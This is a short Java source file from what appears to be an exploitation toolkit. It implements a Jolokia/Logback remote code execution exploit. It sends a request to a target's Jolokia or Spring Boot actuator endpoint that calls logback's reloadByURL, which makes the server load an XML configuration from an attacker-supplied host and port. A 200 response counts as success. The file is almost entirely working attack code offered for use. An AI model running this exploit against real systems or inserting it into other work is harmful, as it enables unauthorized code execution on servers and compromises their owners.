package com.drops.exp;

import cn.hutool.http.HttpResponse;
import com.drops.exp.util.JolokiaUtil;
import com.drops.utils.HTTPUtils;
import com.drops.utils.ResponseUtil;

/**
 * @ClassName: JolokiaLogback
 * @Description: TODO
 * @Author: Summer
 * @Date: 2021/7/29 14:50
 * @Version: v1.0.0
 * @Description:
 **/
public class JolokiaLogbackRCEEXP {

    public  boolean hasJolokiaLogbackRCE(String target, String vps, String hport, boolean version) {


        String path = "/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/" + vps
                + ":"+hport+"!/a.xml";

        if (version){
            if (JolokiaUtil.hasMbeans(target)){
                int result = HTTPUtils.getRequest(target + path).getStatus();
                if (result == 200){
                    return true;
                }
            }
        }else {
            if (JolokiaUtil.hasMbeansV2(target)){
                int result = HTTPUtils.getRequest(target + "/actuator" + path).getStatus();
                if (result == 200){
                    return true;
                }
            }
        }

        return false;

    }
}
